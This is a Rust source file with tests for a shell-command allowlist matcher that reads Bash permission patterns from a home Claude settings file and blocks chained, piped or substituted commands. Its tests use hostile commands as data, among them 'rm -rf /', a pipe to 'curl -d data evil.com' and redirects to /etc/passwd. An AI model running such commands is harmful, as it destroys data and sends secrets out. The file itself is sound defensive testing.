Skip to main content

safe_chains/
allowlist.rs

1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7    exact: HashSet<String>,
8    globs: Vec<Vec<String>>,
9}
10
11impl Matcher {
12    /// Load allowlist patterns from trusted home config only
13    /// (`~/.claude/settings.json`). A project's `.claude/settings.json` is
14    /// intentionally not read: it lives in the working tree the agent edits, and
15    /// the harness applies its own project settings directly. See
16    /// `docs/design/trusted-customization.md`.
17    pub fn load() -> Self {
18        match std::env::var_os("HOME") {
19            Some(home) => Self::load_from_home(Path::new(&home)),
20            None => Matcher {
21                exact: HashSet::new(),
22                globs: Vec::new(),
23            },
24        }
25    }
26
27    fn load_from_home(home: &Path) -> Self {
28        let mut patterns = Matcher {
29            exact: HashSet::new(),
30            globs: Vec::new(),
31        };
32        patterns.load_file(&home.join(".claude/settings.json"));
33        patterns
34    }
35
36    fn load_file(&mut self, path: &Path) {
37        let Ok(contents) = std::fs::read_to_string(path) else {
38            return;
39        };
40        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
41            return;
42        };
43
44        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
45            for entry in arr.iter().filter_map(|e| e.as_str()) {
46                self.add_pattern(entry);
47            }
48        }
49
50        if let Some(arr) = value
51            .get("permissions")
52            .and_then(|v| v.get("allow"))
53            .and_then(|v| v.as_array())
54        {
55            for entry in arr.iter().filter_map(|e| e.as_str()) {
56                self.add_pattern(entry);
57            }
58        }
59    }
60
61    fn add_pattern(&mut self, entry: &str) {
62        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
63            return;
64        };
65        if inner.is_empty() {
66            return;
67        }
68        let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
69            format!("{prefix} *")
70        } else {
71            inner.to_string()
72        };
73        if normalized.contains('*') {
74            self.globs
75                .push(normalized.split('*').map(String::from).collect());
76        } else {
77            self.exact.insert(normalized);
78        }
79    }
80
81    pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
82        let Cmd::Simple(simple) = cmd else {
83            return false;
84        };
85        let normalized = check::normalize_for_matching(simple);
86        let normalized = normalized.trim();
87        if normalized.is_empty() {
88            return false;
89        }
90        if self.exact.contains(normalized) {
91            return true;
92        }
93        self.globs
94            .iter()
95            .any(|parts| glob_matches(parts, normalized))
96    }
97
98    pub fn is_empty(&self) -> bool {
99        self.exact.is_empty() && self.globs.is_empty()
100    }
101
102    #[cfg(test)]
103    pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
104        let mut m = Matcher {
105            exact: HashSet::new(),
106            globs: Vec::new(),
107        };
108        for p in patterns {
109            m.add_pattern(&format!("Bash({p})"));
110        }
111        m
112    }
113}
114
115pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
116    match cmd {
117        Cmd::Simple(_) => {
118            check::is_safe_cmd(cmd)
119                || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
120        }
121        _ => check::is_safe_cmd(cmd),
122    }
123}
124
125fn glob_matches(parts: &[String], text: &str) -> bool {
126    let first = &parts[0];
127    let last = &parts[parts.len() - 1];
128
129    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
130        let prefix = &first[..first.len() - 1];
131        return text == prefix || text.starts_with(first.as_str());
132    }
133
134    if !text.starts_with(first.as_str()) {
135        return false;
136    }
137    if !text.ends_with(last.as_str()) {
138        return false;
139    }
140    let mut pos = first.len();
141    let end = text.len() - last.len();
142    if pos > end {
143        return false;
144    }
145    for part in &parts[1..parts.len() - 1] {
146        match text[pos..end].find(part.as_str()) {
147            Some(idx) => pos += idx + part.len(),
148            None => return false,
149        }
150    }
151    pos <= end
152}
153
154#[cfg(test)]
155mod tests {
156    use super::*;
157    use std::fs;
158
159    use crate::cst;
160
161    fn empty() -> Matcher {
162        Matcher {
163            exact: HashSet::new(),
164            globs: Vec::new(),
165        }
166    }
167
168    fn cmd(s: &str) -> Cmd {
169        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
170        assert_eq!(script.0.len(), 1, "expected single statement: {s}");
171        assert_eq!(
172            script.0[0].pipeline.commands.len(),
173            1,
174            "expected single command: {s}"
175        );
176        script.0[0].pipeline.commands[0].clone()
177    }
178
179    fn segments(command: &str) -> Vec<Cmd> {
180        let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
181        script
182            .0
183            .into_iter()
184            .flat_map(|stmt| stmt.pipeline.commands)
185            .collect()
186    }
187
188    fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
189        is_cmd_covered(cmd, patterns)
190    }
191
192    fn all_covered(command: &str, patterns: &Matcher) -> bool {
193        let Some(script) = cst::parse(command) else {
194            return false;
195        };
196        script.0.iter().all(|stmt| {
197            check::is_safe_pipeline(&stmt.pipeline)
198                || stmt
199                    .pipeline
200                    .commands
201                    .iter()
202                    .all(|c| is_cmd_covered(c, patterns))
203        })
204    }
205
206    #[test]
207    fn parse_exact_pattern() {
208        let mut p = empty();
209        p.add_pattern("Bash(npm test)");
210        assert!(p.exact.contains("npm test"));
211        assert!(p.globs.is_empty());
212    }
213
214    #[test]
215    fn parse_legacy_colon_star() {
216        let mut p = empty();
217        p.add_pattern("Bash(npm run:*)");
218        assert!(p.exact.is_empty());
219        assert_eq!(p.globs.len(), 1);
220    }
221
222    #[test]
223    fn parse_space_star() {
224        let mut p = empty();
225        p.add_pattern("Bash(npm run *)");
226        assert!(p.exact.is_empty());
227        assert_eq!(p.globs.len(), 1);
228    }
229
230    #[test]
231    fn parse_non_bash_skipped() {
232        let mut p = empty();
233        p.add_pattern("WebFetch");
234        p.add_pattern("XcodeBuildMCP");
235        assert!(p.is_empty());
236    }
237
238    #[test]
239    fn parse_empty_bash_skipped() {
240        let mut p = empty();
241        p.add_pattern("Bash()");
242        assert!(p.is_empty());
243    }
244
245    #[test]
246    fn match_exact() {
247        let mut p = empty();
248        p.add_pattern("Bash(npm test)");
249        assert!(p.matches_cmd(&cmd("npm test")));
250        assert!(!p.matches_cmd(&cmd("npm test --watch")));
251    }
252
253    #[test]
254    fn match_space_star_word_boundary() {
255        let mut p = empty();
256        p.add_pattern("Bash(ls *)");
257        assert!(p.matches_cmd(&cmd("ls -la")));
258        assert!(p.matches_cmd(&cmd("ls foo")));
259        assert!(!p.matches_cmd(&cmd("lsof")));
260    }
261
262    #[test]
263    fn match_star_no_space_no_boundary() {
264        let mut p = empty();
265        p.add_pattern("Bash(ls*)");
266        assert!(p.matches_cmd(&cmd("ls -la")));
267        assert!(p.matches_cmd(&cmd("lsof")));
268    }
269
270    #[test]
271    fn match_legacy_colon_star_word_boundary() {
272        let mut p = empty();
273        p.add_pattern("Bash(npm run:*)");
274        assert!(p.matches_cmd(&cmd("npm run build")));
275        assert!(p.matches_cmd(&cmd("npm run test")));
276        assert!(!p.matches_cmd(&cmd("npm running")));
277        assert!(!p.matches_cmd(&cmd("npm install")));
278    }
279
280    #[test]
281    fn match_star_at_beginning() {
282        let mut p = empty();
283        p.add_pattern("Bash(* --version)");
284        assert!(p.matches_cmd(&cmd("npm --version")));
285        assert!(p.matches_cmd(&cmd("cargo --version")));
286        assert!(!p.matches_cmd(&cmd("npm --help")));
287    }
288
289    #[test]
290    fn match_star_in_middle() {
291        let mut p = empty();
292        p.add_pattern("Bash(git * main)");
293        assert!(p.matches_cmd(&cmd("git checkout main")));
294        assert!(p.matches_cmd(&cmd("git merge main")));
295        assert!(!p.matches_cmd(&cmd("git checkout develop")));
296    }
297
298    #[test]
299    fn match_env_prefix_stripped() {
300        let mut p = empty();
301        p.add_pattern("Bash(bundle install)");
302        assert!(p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
303    }
304
305    #[test]
306    fn match_fd_redirect_stripped() {
307        let mut p = empty();
308        p.add_pattern("Bash(npm test)");
309        assert!(p.matches_cmd(&cmd("npm test 2>&1")));
310    }
311
312    #[test]
313    fn match_fd_redirect_with_glob() {
314        let mut p = empty();
315        p.add_pattern("Bash(npm run *)");
316        assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
317    }
318
319    #[test]
320    fn empty_patterns_match_nothing() {
321        let p = empty();
322        assert!(!p.matches_cmd(&cmd("anything")));
323    }
324
325    #[test]
326    fn match_bare_star_matches_everything() {
327        let mut p = empty();
328        p.add_pattern("Bash(*)");
329        assert!(p.matches_cmd(&cmd("anything at all")));
330        assert!(p.matches_cmd(&cmd("rm -rf /")));
331    }
332
333    #[test]
334    fn unsafe_syntax_not_bypassed_by_match() {
335        let mut p = empty();
336        p.add_pattern("Bash(./script.sh *)");
337        let c = cmd("./script.sh > /etc/passwd");
338        assert!(check::has_unsafe_syntax(&c));
339        assert!(!is_covered(&c, &p));
340    }
341
342    #[test]
343    fn command_substitution_not_bypassed_by_match() {
344        let mut p = empty();
345        p.add_pattern("Bash(./script.sh *)");
346        let c = cmd("./script.sh $(rm -rf /)");
347        assert!(!is_covered(&c, &p));
348    }
349
350    #[test]
351    fn mixed_chain_safe_plus_settings() {
352        let mut p = empty();
353        p.add_pattern("Bash(./generate-docs.sh)");
354        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
355    }
356
357    #[test]
358    fn mixed_chain_safe_plus_unapproved_denied() {
359        let mut p = empty();
360        p.add_pattern("Bash(./generate-docs.sh)");
361        assert!(!all_covered("cargo test && rm -rf /", &p));
362    }
363
364    #[test]
365    fn glob_does_not_cross_chain_boundary() {
366        let mut p = empty();
367        p.add_pattern("Bash(cargo test *)");
368        let cmds = segments("cargo test --release && rm -rf /");
369        assert_eq!(cmds.len(), 2);
370        assert!(p.matches_cmd(&cmds[0]));
371        assert!(!p.matches_cmd(&cmds[1]));
372        assert!(!all_covered("cargo test --release && rm -rf /", &p));
373    }
374
375    #[test]
376    fn glob_does_not_cross_pipe_boundary() {
377        let mut p = empty();
378        p.add_pattern("Bash(safe-cmd *)");
379        assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
380    }
381
382    #[test]
383    fn glob_does_not_cross_semicolon_boundary() {
384        let mut p = empty();
385        p.add_pattern("Bash(safe-cmd *)");
386        assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
387    }
388
389    #[test]
390    fn file_redirect_promoted_to_safewrite() {
391        let p = empty();
392        let c = cmd("echo > out.txt");
393        assert!(is_covered(&c, &p));
394    }
395
396    #[test]
397    fn redirect_to_sensitive_target_not_covered() {
398        let p = empty();
399        assert!(!is_covered(&cmd("echo > /etc/passwd"), &p));
400        assert!(!is_covered(&cmd("echo > .git/hooks/pre-commit"), &p));
401    }
402
403    #[test]
404    fn bare_star_blocked_by_unsafe_syntax_backtick() {
405        let mut p = empty();
406        p.add_pattern("Bash(*)");
407        assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
408    }
409
410    #[test]
411    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
412        let mut p = empty();
413        p.add_pattern("Bash(*)");
414        assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
415    }
416
417    #[test]
418    fn safe_command_substitution_allowed_through_is_safe() {
419        let p = empty();
420        // a SAFE inner command (worktree read) passes through; `cat /etc/shadow` would now
421        // correctly deny as a secret, so use a genuinely-safe substitution.
422        assert!(is_covered(&cmd("echo $(cat ./notes.txt)"), &p));
423    }
424
425    #[test]
426    fn nested_shell_not_recursively_validated_by_settings() {
427        let mut p = empty();
428        p.add_pattern("Bash(bash *)");
429        let c = cmd("bash -c 'safe-cmd && rm -rf /'");
430        assert!(!check::is_safe_cmd(&c));
431        assert!(!check::has_unsafe_syntax(&c));
432        assert!(is_covered(&c, &p));
433    }
434
435    #[test]
436    fn nested_shell_redirect_promoted_to_safewrite() {
437        let p = empty();
438        let c = cmd("bash -c 'echo hello' > /tmp/out");
439        assert!(is_covered(&c, &p));
440    }
441
442    #[test]
443    fn quoted_operators_stay_as_one_segment() {
444        let mut p = empty();
445        p.add_pattern("Bash(./script *)");
446        assert!(all_covered("./script 'arg && rm -rf /'", &p));
447    }
448
449    #[test]
450    fn load_from_home_reads_home_settings() {
451        let home = tempfile::tempdir().unwrap();
452        let claude_dir = home.path().join(".claude");
453        fs::create_dir_all(&claude_dir).unwrap();
454        fs::write(
455            claude_dir.join("settings.json"),
456            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
457        )
458        .unwrap();
459        let p = Matcher::load_from_home(home.path());
460        assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
461        assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
462        assert!(!p.matches_cmd(&cmd("./evil.sh")));
463    }
464
465    #[test]
466    fn load_from_home_ignores_project_settings() {
467        // A project's .claude/settings.json living next to home is never read:
468        // only ~/.claude/settings.json is. Here the project tree has an allow
469        // entry that must not take effect.
470        let home = tempfile::tempdir().unwrap();
471        let project = tempfile::tempdir().unwrap();
472        let project_claude = project.path().join(".claude");
473        fs::create_dir_all(&project_claude).unwrap();
474        fs::write(
475            project_claude.join("settings.json"),
476            r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#,
477        )
478        .unwrap();
479        let p = Matcher::load_from_home(home.path());
480        assert!(!p.matches_cmd(&cmd("rm -rf /")));
481        assert!(p.is_empty());
482    }
483
484    #[test]
485    fn load_from_home_chains_with_builtins() {
486        let home = tempfile::tempdir().unwrap();
487        let claude_dir = home.path().join(".claude");
488        fs::create_dir_all(&claude_dir).unwrap();
489        fs::write(
490            claude_dir.join("settings.json"),
491            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
492        )
493        .unwrap();
494        let p = Matcher::load_from_home(home.path());
495        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
496        assert!(!all_covered("cargo test && ./evil.sh", &p));
497    }
498
499    #[test]
500    fn load_file_nonexistent() {
501        let mut p = empty();
502        p.load_file(Path::new("/nonexistent/path/settings.json"));
503        assert!(p.is_empty());
504    }
505
506    #[test]
507    fn load_file_malformed_json() {
508        let dir = tempfile::tempdir().unwrap();
509        let path = dir.path().join("settings.json");
510        std::fs::write(&path, "not json{{{").unwrap();
511        let mut p = empty();
512        p.load_file(&path);
513        assert!(p.is_empty());
514    }
515
516    #[test]
517    fn load_file_approved_commands() {
518        let dir = tempfile::tempdir().unwrap();
519        let path = dir.path().join("settings.json");
520        fs::write(
521            &path,
522            r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
523        )
524        .unwrap();
525        let mut p = empty();
526        p.load_file(&path);
527        assert!(p.matches_cmd(&cmd("npm test")));
528        assert!(p.matches_cmd(&cmd("npm run build")));
529        assert!(!p.matches_cmd(&cmd("curl evil.com")));
530    }
531
532    #[test]
533    fn load_file_permissions_allow() {
534        let dir = tempfile::tempdir().unwrap();
535        let path = dir.path().join("settings.json");
536        fs::write(
537            &path,
538            r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
539        )
540        .unwrap();
541        let mut p = empty();
542        p.load_file(&path);
543        assert!(p.matches_cmd(&cmd("cargo test")));
544        assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
545    }
546
547    #[test]
548    fn load_file_both_fields() {
549        let dir = tempfile::tempdir().unwrap();
550        let path = dir.path().join("settings.json");
551        fs::write(
552            &path,
553            r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
554        )
555        .unwrap();
556        let mut p = empty();
557        p.load_file(&path);
558        assert!(p.matches_cmd(&cmd("npm test")));
559        assert!(p.matches_cmd(&cmd("cargo test --release")));
560    }
561}